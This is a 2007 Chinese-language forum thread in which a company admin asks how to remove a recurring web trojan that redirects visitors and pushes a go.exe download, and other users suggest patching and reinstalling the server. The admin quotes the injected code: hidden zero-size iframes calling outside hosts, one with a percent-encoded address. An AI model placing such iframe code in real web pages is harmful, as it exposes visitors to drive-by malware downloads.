【病毒】網頁被值入木馬的問題



贊助商連結


shung0116
2007-07-22, 03:38 PM
請教各位前輩,我們公司網頁被值入木馬程式,只要開啟公司網頁都會自動導向大陸網頁(如www.fengduw.com),或者出現下載頁面(要user下載go.exe執行檔),這種病毒要如何來解除呢?
(我們有去每支程式,將有被串改的檔案逐一來修正,可是最後沒辦法根除)
煩請各位前輩指點
謝謝

贊助商連結


ㄚ一
2007-07-22, 03:55 PM
請檢查網頁原碼被加了些什麼料

yuhsheng
2007-07-22, 08:22 PM
網站首頁index.htm前幾行被加料了,約200處也有,約400行處也有.
網站主機應該有漏洞.

shung0116
2007-07-22, 10:42 PM
不過現在的問題點是,手動改完網頁後,過沒幾天又會在發作,或者發生在別的網頁,但是我使用MCFee卻偵測不到病毒,是否有辦法可以完全根除呢?
症狀如下:
1.開啟網頁會要求下載go.exe檔案
2.在網頁原始檔最後面會被嵌入下列的語法
<IfrAmE src=http://dhz.810810.org width=0 height=0></IfrAmE>
<IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/xx/ip.htm width=100 height=0></IfrAmE>
3.開啟網頁會導向http://www.fengduw.com大陸網址

煩請前輩指點
謝謝

rogershu
2007-07-23, 01:37 AM
伺服器的漏洞有修補了嗎?

yuhsheng
2007-07-23, 10:27 AM
主機不知是否已被加入什麼東西,不要信任防毒軟體,即使抓得到,也未必能移除.
建議還是把主機重裝吧!上所有的Patch,並檢查主機開放的權限.